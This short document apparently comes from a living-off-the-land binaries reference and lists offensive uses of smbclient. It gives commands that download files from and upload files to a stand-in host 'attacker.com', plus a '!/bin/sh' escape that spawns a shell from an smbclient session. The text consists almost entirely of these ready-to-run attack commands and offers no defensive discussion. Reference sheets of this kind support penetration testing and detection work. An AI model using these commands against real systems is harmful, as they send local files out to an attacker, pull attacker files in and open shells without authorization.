smbclient

Download

smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'

Shell

A valid SMB/CIFS server must be available.

smbclient '\\host\share'
!/bin/sh

Upload

smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'